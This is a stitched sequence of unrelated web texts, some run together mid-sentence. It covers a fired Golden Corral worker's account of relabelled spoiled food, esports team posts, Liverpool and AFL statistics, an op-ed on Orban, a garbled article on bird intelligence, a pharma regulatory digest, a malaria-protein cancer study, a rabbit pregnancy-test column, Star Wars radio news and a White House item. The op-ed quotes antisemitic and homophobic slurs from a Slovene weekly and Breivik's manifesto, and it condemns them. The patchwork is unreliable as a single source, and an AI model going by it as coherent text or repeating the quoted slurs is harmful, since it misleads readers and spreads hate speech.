I went into work and he asked me if I was wearing a “wire” and if I had been taking video around the store. I denied it. I stated to him that the food was unsafe to consume. He then tells me that he can not have me working for that company if I was going to report safety issues to the Health Department. He fired me on the spot.
Since posting this video, I have received many messages from employees across the U.S telling me that the Golden Corral stores they work at are in the exact same condition. This isn’t only one store. This is happening in many of them. I was also offered $20,000 from the CEO & President of Golden Corral to delete the videos
Watch the full conversation with the Manager:
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My Trainer that day was another employee of the store. She showed me how they changed the date of preparation or the expiration on leftover food items. She also informed me that the dates were changed on a daily basis until the food item was gone and served to the customers. It didn’t matter how outdated or how spoiled the food was, as long as it got served and not wasted. It was mixed in with newer product so it wasn’t noticeable to the customers.
This is her changing the dates
Here is a full description of everything that occurred in the restaurant.
I started my short career at Golden Corral of New Boston, Ohio on November 4. That was my first day on the job. Within a short period of time I began to realize all the food regulations they were breaking and how unsanitary they were. So the next day I began to secretly record and take notes of all the shady activity that was occurring in the stores kitchen. My Trainer that day was another employee of the store. She showed me how they changed the date of preparation or the expiration on leftover food items. She also informed me that the dates were changed on a daily basis until the food item was gone and served to the customers. It didn’t matter how outdated or how spoiled the food was, as long as it got served and not wasted. It was mixed in with newer product so it wasn’t noticeable to the customers. I did receive many complaints from customers advising me how the food didn’t taste right. I personally saw chicken that was green and had a foul odor cooked and served on the food serving lines. I confronted the manager about it and he told me it was none of my concern and to do what I was told. I found that fish was being left out for hours reaching temperatures far beyond what was acceptable. My highest temperature reading was in the high 70’s, but that fish was eventually cooked and served even though it was well beyond acceptable to consume and smelled horribly. I only worked there for a short time but I received three or four burns on my arms from the steam and hot water coming in contact with my skin due to the malfunctioning of the equipment. I was told by a manger to suck it up and do my job. I quickly reported this to the local health department. On November 9 I got a call from my manger to report to work to discuss an issue. When I got to work the manager advised me that he found out I was videoing everything that was happening. He said that someone came to him and said they thought I was undercover working for the health department which is absurd. He said that he could not have me talking about the food being under cooked. I told Jeff that they were not cooking their food right and that it was a problem. The manager told me since I had made that comment I can not be working for them.
This location was permanently shutdown 3 days after posting to a social media website.
What do you think about Golden Corral? Do you have a similar bad experience? Share your story in the comment section below.posted by Tezzeret
Team Life
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eL'Pride at DreamHack Summer 2013.
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We want to thank Lions Pride for the time they supported us, we had a great Time in the organisation and don't regret the time we had under their flag.
Unfortunately Lions Pride will no longer take part in professional eSports and so we decided to leave the organisation to move on.
From now on we will play as Team Life until we found a new organisation that provides us a home where we can improve ourselves and make further steps. We want to thank Lions Pride for the time they supported us, we had a great Time in the organisation and don't regret the time we had under their flag.Unfortunately Lions Pride will no longer take part in professional eSports and so we decided to leave the organisation to move on.From now on we will play as Team Life until we found a new organisation that provides us a home where we can improve ourselves and make further steps.
Team Life Roster:
While the team never quite reached their potential under the eL'Pride banner, they nevertheless can go toe to toe with some of the biggest names in the scene as evident from their deciding match againstat, pushing the German team to the limits before bowing out.Manager of the team,Damir '' Dedic, issued the following statement on behalf of the team:Hampus '' Olsson (Captain)Sylvester '' HoelgaardMikki '' JungetDanny '' JungetAndreas '' NielsenLiverpool’s season is now all about holding their nerve and finishing in the top four. There has been solid progress — they are already six points better off than in the whole of last season and have scored six more goals.
Yet Jürgen Klopp, the manager, will recognise they are also a team ripe for further improvement. These are the five key areas where his focus will fall.
Liverpool are tracking Naby Keïta, the Red Bull Leipzig midfielder Jens Meyer/AP
Injuries
For all that Raymond Verheijen, the outspoken Dutch fitness coach, loves to insist Klopp’s demand for high intensity football is linked to injury, there is evidence enough to suggest they have just been unlucky this season. Philippe Coutinho damaged his ankle against Sunderland in a tackle, Sadio Mané’s knee buckled in a challenge against Everton’s Leighton…On 24 October 2017, Viktor Orban, the Prime Minister of Hungary, was reported to have called Central and Eastern Europe (CEE) “a zone without migrants”. He claimed this at the celebration of the anniversary of the Hungarian Revolution, which began on 23 October 1956.
According to him, the countries of CEE have succeeded in rebuffing illegal migration and it is the only zone on the European continent that is free from migrants.
“The Poles, Czechs, Slovaks, Romanians and Hungarians should unite in this process,” Orban claimed. He is sure that every upcoming election in Europe will show citizens reflecting his views.
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“We want a safe, fair, Christian and free Europe,” he concluded, and warned: “We should never underestimate the power of the dark side,” referencing Star Wars as he referred to the plots of those apparently behind the “migrant invasion”, adding that they “have no solid structure but extensive networks”.
Any association between Orban’s “zones without migrants” and the old Nazi striving to create “zones without Jews” is, of course, purely contiguous.
In the antisemitic imagination, the “Jew” is the invisible master who secretly pulls the strings, which is why Muslim immigrants are not today’s Jews – they are all too visible, not invisible. They are clearly not integrated into our societies, and nobody claims they secretly pull the strings – if one sees in their “invasion of Europe” a secret plot, then Jews have to be behind it.
This was the case in a text that recently appeared in one of the main Slovene right-wing weekly journals where we could read: “George Soros is one of the most depraved and dangerous people of our time,” responsible for “the invasion of the negroid and semitic hordes and thereby for the twilight of the EU... he is a deadly enemy of the Western civilisation, nation state and white, European man”. His goal is to build a “rainbow coalition composed of social marginals like faggots, feminists, Muslims and work-hating cultural Marxists” which would then perform “a deconstruction of the nation-state, and transform the EU into a multicultural dystopia of the United States of Europe”.
This disgusting fantasy brings together antisemitism and Islamophobia and confronts us with the paradox of Zionist antisemitism. Remember Anders Breivik, the Norwegian anti-immigrant mass murderer: he was antisemitic, but pro-Israel, since the State of Israel is the first defence line against the Muslim expansion – he even wants to see the Jerusalem Temple rebuilt.
His view is that Jews are OK as long as there aren’t too many of them – or, as he wrote in his “manifesto”: “There is no Jewish problem in Western Europe (with the exception of the UK and France) as we only have one million in Western Europe, whereas 800,000 out of these one million live in France and the UK.
“The US on the other hand, with more than six million Jews (600 per cent more than Europe) actually has a considerable Jewish problem.”
Breivik thus realises the ultimate paradox of a Zionist antisemite – and we find traces of this weird stance more often than one would expect, from the US alt-right to Orban himself.
Soon after he also attacked Soros in a speech, Orban was visited by Netanyahu, and they soon found a common language: attacking Soros is OK if you support Israel. Netanyahu’s pact with Zionist antisemites is one of the lowest and saddest moments of his career.
It is significant that Trump’s first foreign trip was to Turkey, Saudi Arabia and Israel – if we combine this with his triumphant reception of el-Sissi in the White House, we can see how a new Middle East “axis of evil” is taking form with full US support: Turkey, Saudi Arabia, Israel, Egypt.
The latest brutal pressure on Qatar was the first big act of this axis, probably a punishment for the positive role of Al Jazeera in the Arab Spring. And, in a similar way, the group of countries enumerated by Orban and which resist accepting refugees forms another new “axis of evil”: Croatia, Slovenia, Hungary, the Czech Republic, Poland, the Baltic countries – and now one has to add even Austria.
The most worrying aspect here is the reluctance of Europe to take a clear stand regarding this axis: either to allow its member states to adopt their own politics with regard to refugees, or to adopt efficient measures against those who break the common rules.
Orban, who was only a couple of years ago treated like a pariah, is now not only tolerated but more and more followed as a model. And this is a very dangerous sign for Europe.
The fact that Orban delivered his speech at the celebration of the anniversary of the Hungarian Revolution resonates with unintended ironies. One of the pathetic moments of the 1956 uprising occurred when the Soviet army was closing in on the rebels who send a desperate message to Vienna: “We are defending the West here.”
Now, after communism’s collapse, the Christian-conservative government paints as its main enemy Western multicultural consumerist liberal democracy for which today’s Western Europe stands, and calls for a new more organic communitarian order to replace the “turbulent” liberal democracy of the last two decades.
Orban already expressed his sympathies with “capitalism with Asian values”, so if European pressure on Orban continues, we can easily imagine him sending the message to the East: “We are defending Asia here!”
What is at stake in this conflict is nothing less than the soul of Europe, the two opposed sides of European identity. On the one side, it is the Enlightenment legacy of universal freedom and emancipation; on the other side, it is the politics of particularism, of protecting one’s identity.
If we remain faithful to the Enlightenment legacy, we have to conclude that the true threat to Europe is precisely its “defenders” who spread xenophobia and fear.
The space for these scaremongerers was opened by the economic and political compromises of the European centres of power – populists are filling up the void opened up by European neoliberal technocracy, so that only a new leftist vision can save Europe from its external and especially internal enemies.
In his Notes Towards a Definition of Culture, TS Eliot remarked that there are moments when the only choice is the one between heresy and non-belief, when the only way to keep a religion alive is to perform a sectarian split from its main corpse. This is what has to be done today if we want to keep the idea of Europe alive.
We’ll tell you what’s true. You can form your own view.
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Subscribe nowSome birds show quite astonishing powers of recall. The Clarkes nutcracker, a type of North American crow, may have the animal world's keenest memory. It collects up to 30,000 pine seeds over three weeks in November, then carefully buries them for safe keeping across over an area of 200 square miles. Over the next eight months, it succeeds in retrieving over 90 percent of them, even when they are covered in feet of snow.
Some still consider the human mind to be unique, with animals capable of only the simplest mental processes. But a new generation of scientists believe that creatures, including birds, can solve problems by insight and even learn by example, as human children do. Birds can even talk in a meaningful way.
A seer predicted he would die when a house fell on him, so the wary scribe departed for the hillsides, well away from any dwellings, where he believed he was safe. He wasnt. An eagle is said to have mistaken Aeschylus bald pate for a stone, and dropped the creature in its house onto it.
Other birds do this, although not with quite the same precision. In the Dardia Mountains of Greece, eagles can be seen carrying tortoises up to a great height and dropping them on to rocks below. The hapless Aeschylus (525-456 BC), a father of Greek tragic drama, is said to have met his end by this means.
The crows in Japan have only been cracking nuts this way since about 1990. They have since been seen doing it in California. Researchers believe they probably noticed cars driving over nuts fallen from a walnut tree overhanging a road. The crows already knew about dropping clams from a height on the seashore to break them open, but found this did not work for walnuts because of their soft green outer shell.
Biologists already knew the corvid familyit includes crows, ravens, rooks, magpies and jackdawsto be among the smartest of all birds. But this remarkable piece of behaviorit features in the final program of Life of Birdswould seem to be a particularly acute demonstration of bird intelligence.
If the cars miss the nuts, the birds sometimes hop back and put them somewhere else on the road. Or they sit on electricity wires and drop them in front of vehicles.
When the lights change, the birds hop in front of the cars and place walnuts, which they picked from the adjoining trees, on the road. After the lights turn green again, the birds fly away and vehicles drive over the nuts, cracking them open. Finally, when its time to cross again, the crows join the pedestrians and pick up their meal.
Dr Hunt, then of Massey University in New Zealand, said this of his research: There are many intriguing questions that remain to be answered about crows tool behavior. Most important would be whether or not they mostly learn or genetically inherit the know-how to make and use tools. Without knowing that it is difficult to say anything about their intelligence, although one could guess that these crows have the capability to be as clever as crows in general.
Scientists are still debating what this behaviorshown in program threemeans. Mans use of tools is considered a prime indication of his intelligence. Is this a skill acquired by chance? Did the crows acquire tool making skills by trial and error rather than planning? Or, in its ability to adapt and exploit an enormous range of resources and habitats, is the crow closer to humans than any other creature?
Other birds and some primates have been seen to use objects to forage. But what is unusual here is that the crows also make their own tools. Using their beaks as scissors and snippers, they fashion hooks from twigs, and make barbed, serrated rakes or combs from stiff leathery leaves. And they dont throw the tools away after one usethey carry them from one foraging place to another.
Ten years on, the magpies started to fight back. They learnt to detect the foreign eggs. Within a few years, there was a four-fold increase in its rejection of cuckoo eggs. The speed with which the magpie changed its behavior has astounded biologists.
Sometimes a bird species very survival depends on its ability to learn fast. Birds need to recognize a cuckoo egg dumped in their own nest and either throw out the strange egg or desert the nest to start afresh. In Japan, the common cuckoo recently switched to a new, unsuspecting host on which to dump its eggs, the azure-winged magpie. The emerging cuckoo chicks ejected their foster siblings, and the magpie population dropped dramatically.
Another sign of intelligence, thought to be absent in most non-human animals, is the ability to engage in complex, meaningful communication. The work of Professor Irene Pepperberg of the University of Arizona, Tucson, has now shown the general perception of parrots as mindless mimics to be incorrect. The captive African grey parrot Alex is one of a number of parrots and macaws now believed to have the intelligence and emotional make-up of a 3 to 4 year old child. Under the tutelage of Professor Pepperberg, he acquired a vocabulary of over 100 words. He could say the words for colors and shapes and, apparently, use them meaningfully. He has learned the labels for more than 35 different objects; he knows when to use no, and phrases such as come here, I want X, and Wanna go Y. A birds ability to understand, or speak, another birds language can be very valuable. New Zealand saddlebacks, starling-like birds, occupy the same territory for years |
cent in 2016 – helps explain opposition sides' greater potency on turnovers. Figuring out why North has conceded five goals or more in every fourth quarter this season is tougher. You have to go back to round 20 last year against the Dogs to find a game where the blue-and-white won a final term. Are Brad Scott's men not fit enough? That seems too simplistic. Fremantle stars Nat Fyfe and David Mundy were enormous down the stretch on Saturday night, so maybe the answer lies with the Roos' leaders. Not even Marley Williams' brilliant chase down could inspire the team to hold on. - Marc McGowan
Turnovers were a major source of frustration for the Power last year, but in the opening five rounds they have gone some way to rectifying that problem. It all comes down to patience, better decision-making and ball use. The Power led the League in clangers in 2016, averaging 58 per game. This season, that average is down to 52, 11th in the competition. Part of the reason is because they are playing on less after they take a mark, from 42.5 per cent (second) in 2016 to 32.3 per cent (17th) this year. The Power's disposal efficiency has also improved from 70.7 per cent (seventh) to 72.1 per cent (4th). The Power's attack is more potent than last year on the back of Robbie Gray spending more time in the forward 50. Gray has booted 14 goals in five games, well on track to eclipse his career-high of 42 goals in a season set in 2014. The return of ruckman Patrick Ryder has allowed the Power's midfielders first use of the ball, one of the reasons why they have the most Inside 50s in the competition at 61 per game. - Lee Gaskin
Paddy Ryder is giving Port's midfield an armchair ride. Picture: AFL Photos
The biggest change in the Tigers' game this season has been their ability to press up the ground and force turnovers in their own forward half, rather than setting up attacks from half-back like they were forced to in 2016. The key to this change has been the impact of small forwards Dan Butler, Jason Castagna and Daniel Rioli, as well as the willingness of all other forwards to tackle and chase. Across the first four rounds, the Tigers ranked fourth for time in forward half (up from 15th in 2016), and seventh for forward half stoppages (16th in 2016). They were No.1 for forward-half intercepts (16th in 2016), converting those into an average of 43.5 points a game, also No.1 in the League. The method Richmond is using to get the ball forward has also changed significantly, taking a gung-ho approach to their ball movement and playing on instinct. It results in occasional turnovers, but the risk is outweighed by the reward at this stage of the season and the coaches are excusing turnovers when the players have the right mindset. The new style is summed up best when Dustin Martin is isolated inside 50 and given chances to win one-on-one contests because of the rapid ball-movement. - Nathan Schmook
The Saints have scored more when going forward. Last year, they scored on 44.9 per cent of inside-50s to rank 13th in the competition. So far in 2017, they are second at 53.2 per cent. The club identified scoring efficiency as a problem during the pre-season and worked to change the way it brought the ball into attack. In terms of personnel, not much has changed. Josh Bruce and Tim Membrey spend most of their time up forward while Nick Riewoldt rotates between the wing and attack. Paddy McCartin has played two games this year and wasn't a fixture in the side in 2016 either. Accuracy has been a concern – St Kilda is ranked 16th in that category, ahead of only the Western Bulldogs and Collingwood. Bruce (7.7) and Membrey (7.5) would be disappointed with some of their misses, while Jade Gresham (6.9), Mav Weller (5.7) and Jack Billings (2.6) have been wayward. Coach Alan Richardson has talked about the need to improve the connection between the "kickers and catchers", referring to shots not coming from where the Saints want them. Improving that would help solve the goalkicking issues. - Dinny Navaratnam
Jade Gresham has been misfiring in front of goal this year. Picture: AFL Photos
With the Swans sitting on the bottom of the ladder and still yet to win a game, there's little surprise that their major trend is a downward spiral in winning the footy. The Swans have gone from being ranked fourth for disposals differential last year (+26.9), to 16th this season (-41.2), with their contested possession differential dropping even further from third (+11.5) to 17th (-13.8). The uncontested side of it is not much better, the Swans plummeting from fifth (+16.3) to 16th (-31.6) in 2017. In short, Sydney's star midfielders can't get their hands on it enough to be the dominant force they have been in recent years. Josh Kennedy and Luke Parker have shown glimpses but are down on disposals (-4), with Kieren Jack (-7) and Dan Hannebery (-8) struggling even more. - Adam Curley
West Coast's number one problem this season has clearly been the players' mindset and intent at the contest, which has fluctuated wildly in their wins and losses. In victories over North Melbourne, St Kilda and Sydney, the Eagles either narrowly won or lost the contested ball count, with the margin too insignificant to be decisive. When Adam Simpson's side is competitive in contested situations, the Eagles can cut teams up with their skills and have been able to make their opponents chase. West Coast's uncontested disposals differential has skyrocketed this year, increasing from -22.2 per game (AFL No.15) last season to +27.6 (AFL No.4) in 2017. But in both defeats to Richmond and Hawthorn at the MCG, the Eagles have been smashed in the contest and lost the overall possession count. It's a major headache that Simpson had identified well before last Sunday's humbling from the Hawks, but fixing it is the issue. - Travis King
The premiers have improved their scoring efficiency significantly this season, with scores per inside 50 rising from 15th in 2016 (43.6 per cent) to third best at 52.9 per cent. The Dogs have also enhanced their ability to hurt the opposition rebounding from defensive 50, jumping from a lowly 16th (15.1 per cent) to the AFL's second best efficiency of 22.1 per cent. However, coach Luke Beveridge would be frustrated that his side's goal kicking has remained poor, with the Dogs dipping from an average of 47 per cent last season to second last with 43 per cent. While the Dogs have remained one of the competition's highest possession sides, they are laying more tackles in 2017. They are currently the number one tackling team (384) with an average of 76 per game, up from 67 per cent. - Ryan DavidsonLet’s talk about the teams
Friday is charging up to an electric match between the wildcats and the Ninjas. In a coin flip game between the bottom two teams, who comes out as the victor is anyone’s guess. All we know is that the games are gonna be a wild from start to finish.
A battle mostly for pride
8 weeks in and ROCCAT and Ninjas in Pyjamas are at the bottom of the scoreboard, 3-6 and 0-10 respectively. Considering their previous performance, a battle between the bottom two could easily turn into an exciting match, as NiP has been showing improvements in their team-play during their latest matches in the Summer Split.
– I still have a lot of faith in my boys, and at the moment I believe we are still playing more vs ourselves than against another team. We are nowhere near our ceiling as a team, and until promotion the only thing that matters is getting as close to that ceiling as possible, says NiP coach Nicholas ‘NicoThePico’ Korsgård.
Who is the strongest swede?
NicoThePico continues to say that the players to watch out for in this series will, in his opinion, be in the bot lane, the Swedish match-up of NiP Support-player Sprattel vs the ROCCAT marksman Hjärnan. For that reason, we are going to look more at the bot lane match-up, and what we are most likely to see considering the current meta.
Because of the current tank meta, hyper-carries and marksmen who can shred down tanks are especially prioritized, such as Kogmaw, Twitch, Kalista and Tristana. This is a meta highly preferred by NiP, who so far has played convincingly vs better opponents under the current meta.
– In the current meta I rate Kalista as the highest priority marksman personally, a lot of other marksmen think Caitlyn is still insanely overpowered and I agree to some extent but personally I just favour Kalista over Caitlyn. Other than that I feel like the marksman role is pretty flexible and you can play almost any ad depending on lane match-ups/team compositions, Martin ‘HeaQ’ Kordmaa, the marksman of Ninjas in Pyjamas explains. When questioned about his upcoming game vs ROCCAT, he said the following: – For the game vs ROCCAT I think we are going to see mostly playmaking supports and either Caitlyn/Kalista or scaling marksmen if those champions are banned. I feel like both us and the ROCCAT bot lane really like to play CC heavy/playmaking champions in the bot lane but there are some outliers. HeaQ seemed confident that they could match ROCCATs bot lane, saying that as far as laning face goes, he is more than ready to face their marksman, Hjärnan. – I think if Sprattel and I can negate the amount of impact ROCCAT bot lane can have then we can pull out the win pretty convincingly.
Diving into the Mid-Lane
Middle lane this season hasn’t really been all that crazy, with tanks dominating the Rift, it will be up to Kim ‘Nagne’ Sang-moon and Felix ‘Betsy’ Edling to cc and shred them down as the fighting starts. With a former KT Rolster Midlaner, and a Midlaner known for being aggressive, it will be interesting to see if a bottom-two match will force out some aggressive moves from the two players.Posted 18 March 2015 | By Alexander Gaffney, RAC,
Welcome to Regulatory Reconnaissance, your daily regulatory news and intelligence briefing.
In Focus: US
FDA is Sued for Failing to Regulate the Use of Glutens in Medicines (Pharmalot) (Lawsuit)
Sklamberg: FDA plans to shift to an incentive based from a penalty based audits (India Times) (Fierce)
FDA team to sign deal with Indian regulators on information sharing (BusinessLine) (PharmAsia-$)
Amarin Says FDA Changed Rules To Deny Market Exclusivity (Law 360-$)
Holy Grail: Pain Pills Without the High (WSJ-$)
Public Citizen's Wolfe: FDA should have withdrawn Crestor (OnMedica) (BMJ)
Vaccine Court’s Tough Standards May Face Supreme Court Test (Bloomberg)
Boston Scientific wins CE Mark, FDA nod for smaller 'leadless' ICD (Mass Device) (Press)
UDI Setback—‘Ships That Pass in the Night’ (MDDI)
Consumers Breeze Past Label Disclaimers on Supplements (MedPage Today)
In Focus: International
Guido Rasi looks at how the EU regulatory landscape might change over the next decade (SCRIP-$)
The EMA at 20: CAT chair on where all the advanced therapies are (SCRIP-$)
Celebrating 20 years: EMA launches anniversary book (EMA) (Book)
Why Chinese Tourists Are Wild Over Japanese Drugs (It’s Not Just the Quality) (WSJ-$)
Canada Needs More Transparency in Pharmaceutical Regulation (Huffington Post)
Battle in Australia over access to cancer drugs (PharmaTimes)
Learn About--and Help Shape--FDA's Draft Combo Products GMP Guidance
When it comes to combination products, more regulations can mean more difficulties for regulatory professionals. That's why we've teamed up with the Combination Products Coalition (CPC) to offer a full day interactive program focused on FDA's newest draft guidance on Good Manufacturing Practices (GMPs) for combination products. Learn from FDA experts and industry veterans in this unique experience that will help agency regulators to shape and clarify the final guidance document. [Register here]
US: Pharmaceuticals and Biotechnology
FDA is Sued for Failing to Regulate the Use of Glutens in Medicines (Pharmalot) (Lawsuit)
Sklamberg: FDA plans to shift to an incentive based from a penalty based audits (India Times) (Fierce)
FDA team to sign deal with Indian regulators on information sharing (BusinessLine) (PharmAsia-$)
Amarin Says FDA Changed Rules To Deny Market Exclusivity (Law 360-$)
Holy Grail: Pain Pills Without the High (WSJ-$)
Public Citizen's Wolfe: FDA should have withdrawn Crestor (OnMedica) (BMJ)
Vertex Receives U.S. Food and Drug Administration Approval of KALYDECO (ivacaftor) for Children with Cystic Fibrosis Ages 2 to 5 who have Specific Mutations in the CFTR Gene (Press)
Discussion on Clinical Considerations of Risk in the Postmarket Environment (FDA)
Arkansas lawmakers approve abortion pill restrictions (Arkansas Online)
Indiana State Senate approves “Right to Try” bill (WishTV)
Idaho Bill Would Expand Access to Investigational Drugs (Scout)
Asthma Warnings Not Working Well, FDA Fears As GSK Seeks Expanded LABA Approval (Pink Sheet-$) (Pink Sheet-$) (Tarius)
BIO Urges Governor Herbert to Sign Bill That Ensures Patient Access to Interchangeable Biologic Medicines (Press)
US: Pharmaceuticals and Biotechnology: Clinical Study Results, Filings and Designations
AstraZeneca two-in-one drug succeeds in lung disease test (Reuters) (Press) (Pharmafile)
Nektar drug fails late-stage study in breast cancer patients (Reuters) (Fierce)
DEA approves study using MDMA for anxiety in seriously ill patients (Al Jazeera)
US: Pharmaceuticals and Biotechnology: General
Vaccine Court’s Tough Standards May Face Supreme Court Test (Bloomberg)
Top 15 pharma companies by 2014 revenue (Fierce)
Report: U.S. Pharmaceutical Market to Increase by 40% by 2020 (Press) (Press)
Paying Physicians to Prescribe Generic Drugs and Follow-On Biologics in the United States (PLoS)
Mississippi Wants Execution-Drug Supplier's Name Kept Secret (AP)
Xcelience Receives DEA Approval to Develop and Manufacture DEA Schedule I Drug Products (Press)
US: Medical Devices
Boston Scientific wins CE Mark, FDA nod for smaller 'leadless' ICD (Mass Device) (Press)
UDI Setback—‘Ships That Pass in the Night’ (MDDI)
Sen. Warren responds to CMS' opposition to UDI, says she expects agency to resolve issues (Fierce)
The impact of companion diagnostic device measurement performance on clinical validation of personalized medicine (PubMed)
Device manufacturer sued again in'superbug' outbreak at L.A. hospital (Reuters)
FDA Clears Quidel's Trichomonas Assay (GenomeWeb)
Class 1 Recall for Medtronic's FlexCath Select Steerable Sheath (FDA)
FDA clears iPad medical app for measuring surgical blood loss in canisters (MobiHealthNews)
It had to happen: Apple Watch gets a drug-adherence app (Fierce)
Regulatory Framework for Clinical Decision Support Software: Present Uncertainty and Prospective Proposition (PubMed)
Etiometry Receives FDA 510(k) Clearance for its T3 Monitor (Press)
US: Dietary Supplements
Durbin, Feinstein, Blumenthal To FDA: Use Existing Authority To Protect Consumers From Contaminated Dietary Supplement (Senate)
Consumers Breeze Past Label Disclaimers on Supplements (MedPage Today)
US: Assorted And Government
House GOP calls for regulatory reform in budget proposal (The Hill)
FDA to roll back 'lost pleasure' approach on health rules (Reuters)
Upcoming Meetings and Events
Ebola Outbreak
Emergent BioSolutions to team its Ebola vaccine with GSK's in Phase I (SCRIP-$)
Equatorial Guinea Holds Malaria Vaccine Trial (PharmPro)
Europe
Live Stream of EMA's 20th Anniversary Conference (EMA)
Guido Rasi looks at how the EU regulatory landscape might change over the next decade (SCRIP-$)
The EMA at 20: CAT chair on where all the advanced therapies are (SCRIP-$)
Celebrating 20 years: EMA launches anniversary book (EMA) (Book)
Requirements on Submissions for PSURs updated (MRP/DCP, National) (Exalon)
Genzyme in breach of ABPI Code over Fabry drug (PharmaPhorum)
India
With grey areas aplenty, India's marketing code in autopilot? (SCRIP-$)
Few takers for indigeniously developed cheap H1N1 test kits (India Times)
China
Why Chinese Tourists Are Wild Over Japanese Drugs (It’s Not Just the Quality) (WSJ-$)
Canada
Canada Needs More Transparency in Pharmaceutical Regulation (Huffington Post)
Australia
Battle in Australia over access to cancer drugs (PharmaTimes)
Consumer watchdog to appeal federal court decision on Pfizer (Guardian)
Other International
Doing No Harm? Adverse Events in a Nation-Wide Cohort of Patients with Multidrug-Resistant Tuberculosis in Nigeria (PubMed)
General Regulatory And Interesting Articles
One Size Doesn't Fit All: Prosthetic Devices too Often Designed Just for Men (Vice)
How Evolved Is Your Quality Management System? (MasterControl)
New Super Fast 3D Printing Process Turns A Pile Of Goo Into An Eiffel Tower (Digg) (Vox)
Grab a bracket, pick your favorite drug names and get ready to dance: FierceMadness is here! (Fierce)
Animal rights protests have had little impact on preclinical services sector say CROs (BioPharma-Reporter)
Regulatory Reconnaissance #516 – 18 March 2015
Regulatory Reconnaissance is our daily intelligence briefing for the regulatory affairs space, bringing you the top regulatory news stories from around the globe. Each weekday morning, we aim to bring you the latest highlights of new approvals, meetings, legal and political developments, regulations and guidance, and the latest trends with the potential to impact regulatory affairs professionals and the industry in which they work.
Need to contact the editor of Regulatory Reconnaissance? Find him on Twitter at @AlecGaffney or send him an email at news@raps.org.
A story's inclusion in Regulatory Reconnaissance does not imply endorsement by Regulatory Focus or RAPS.As far as accidents go, stumbling upon a potential cure for cancer is one we can all probably forgive. According to a recent study, a group of Danish scientists might have done just that by discovering that a potential malaria vaccine had the unexpected side effect of killing tumors.
Malaria is bloodborne disease caused by the Plasmodium parasite. It is spread through humans by mosquito bites and, according to UNICEF, kills up to a million people each year. Malaria is especially dangerous for pregnant women as the parasite may attack the placenta, which then puts the child’s life at risk. In their ongoing efforts to prevent these specific infections, scientists from the University of Denmark made a remarkable observation: Due to the similar characteristics between tumors and placentas, the same technique malaria uses to attack and destroy placentas could also be used to destroy cancer tumors.
“The placenta is an organ, which within a few months grows from only few cells into an organ weighing approximately 2 pounds, and it provides the embryo with oxygen and nourishment in a relatively foreign environment,” study author Ali Salanti said in a statement. “In a manner of speaking, tumors do much the same — they grow aggressively in a relatively foreign environment."
The researchers attempted to improve on this natural design by attaching a cancer-killing toxin to the malaria protein. They found that the combination was lethal; in lab tests, it was up to 90 percent effective in destroying various cancer samples. The lethal combination was also tested successfully in mice that were implanted with different types of human cancers. And while it may seem jarring to trade off cancer for malaria, Thomas Mandel Clausen, a PhD student involved with the research, explained that the the malaria protein only attaches to the tumor “without any significant attachment to other tissue.”
It will be at least four years before the treatment will be available for human testing, and researchers are hopeful it’ll be a significant step forward in cancer treatment research. However, since the protein they use attaches to carbohydrates found only in the placenta and cancer tumors, this life-saving characteristic will make the treatment too dangerous for cancer treatment in pregnant women. “Expressed in popular terms, the toxin will believe that the placenta is a tumor and kill it, in exactly the same way it will believe that a tumor is a placenta,” Salanti said.
Source: Salani A, Clausen, Agerbæk M Ø, et al. Targeting Human Cancer by a Glycosaminoglycan Binding Malaria Protein. Cancer Cell. 2015Mattaboy!
My wife and I found out recently that she is pregnant, which brought to mind that old phrase, "The rabbit done died." This got me thinking about that wacky scientific/medical practice of using rabbits as a pregnancy test, and now I need some answers. What exactly did they do to the rabbit? Who came up with this? When? How? Why rabbits? Help me out, Matt.
-- P, the net
He done died, eh. Well, I done found out what killed him. Her, actually. Wacky or not, the rabbit test was the first reliable medical pregnancy test, aside from waiting nine months. It was developed by a researcher in physiology at the University of Pennsylvania in the 1930s. Urine from a woman who suspected she was pregnant was injected into a female rabbit. Pregnant-lady urine contains a lot of chorionic gonadotrophin. If the woman was pregnant, the hormone jolt would cause the rabbit's ovaries to enlarge and develop characteristic surface changes. Unfortunately, the only way to read the test results was to open up bunny and look around. So it wasn't so much that the rabbit done died; more like the rabbit was done in. Hold on a moment while I envision a shelf full of 1950s-era home pregnancy tests. Lots of wiggling noses and a big knife.0
Anyone who has dreamed of a full time Star Wars radio station will get their wish this weekend. Sirius XM announced that they’ll launch Star Wars Celebration Radio from August 12 at 6 p.m. EST through Sunday August 15 timed with the fifth annual Star Wars convention, Star Wars Celebration V, which takes place this weekend in Orlando, FL.
Celebration V, which is largely themed around the 30th anniversary of The Empire Strikes Back this year, will feature attendees such as Mark Hamill, Carrie Fisher, Anthony Daniels, Peter Mayhew and many others. The highlight will be a one-on-one interview between Jon Stewart and Star Wars creator George Lucas.
Many of those stars will make appearances on the channel, which will also broadcast live coverage of many of the event’s panels. Hit the jump to find out which channels on your Sirius or XM to tune into and more.
I was a loyal and willing attendee of Star Wars Celebration II and III, which both took place in Indianapolis, IN and were timed around the final two prequels. And even though the movies were largely disappointing, the event was amazing. It was just so exciting to be around so many passionate fans plus the amount of panels, people, events and exclusives were just awesome. It’s heaven for Star Wars fans. If I was in Orlando, or hadn’t attended San Diego Comic-Con, I would definitely check this out.
That’s what’s so cool about this radio station – now I can STILL check it out. Plus, as a tip, you can get a free 3-day online trial of both Sirius and XM on their respective websites or through their iPhone and Android apps. I’m not sure if those trials will feature this channel, but you can always just pop on Opie & Anthony or Howard Stern if it doesn’t.
Star Wars Celebration Radio will be on XM 139 and Sirius 108.
Here’s the full press release:AP Photo White House: Obama thinks Clinton is qualified for president
ABOARD AIR FORCE ONE — President Barack Obama disagrees with Bernie Sanders: He thinks Hillary Clinton is qualified to be president, according to a top administration staffer.
“Yes,” White House principal deputy press secretary Eric Schultz said simply Thursday afternoon when asked whether the president thinks Clinton has what it takes to be president. “The president has said that Secretary Clinton comes to this race with more experience than any other non-vice president in recent campaign history.”
Story Continued Below
Speaking to reporters en route to Obama’s hometown, where the president planned to speak at the University of Chicago about his nomination of Merrick Garland to the Supreme Court, Schultz cited Clinton’s work with the president while she was secretary of state during his first term.
“He’s proud of that service,” Schultz said.
Asked what Obama made of Sanders dinging Clinton for being backed by the well-funded super PAC Priorities USA — the same super PAC that supported Obama in his 2012 reelection campaign — Schultz demurred.
“This is campaign season, and campaigns are going to trade barbs back and forth,” Schultz said.
Obama was at first reluctant to have a super PAC backing him, but he embraced it over the course of the campaign.The media is buzzing with the announcement that a beautiful, full breasted woman like Angelina Jolie took the “courageous” step to have a double mastectomy.
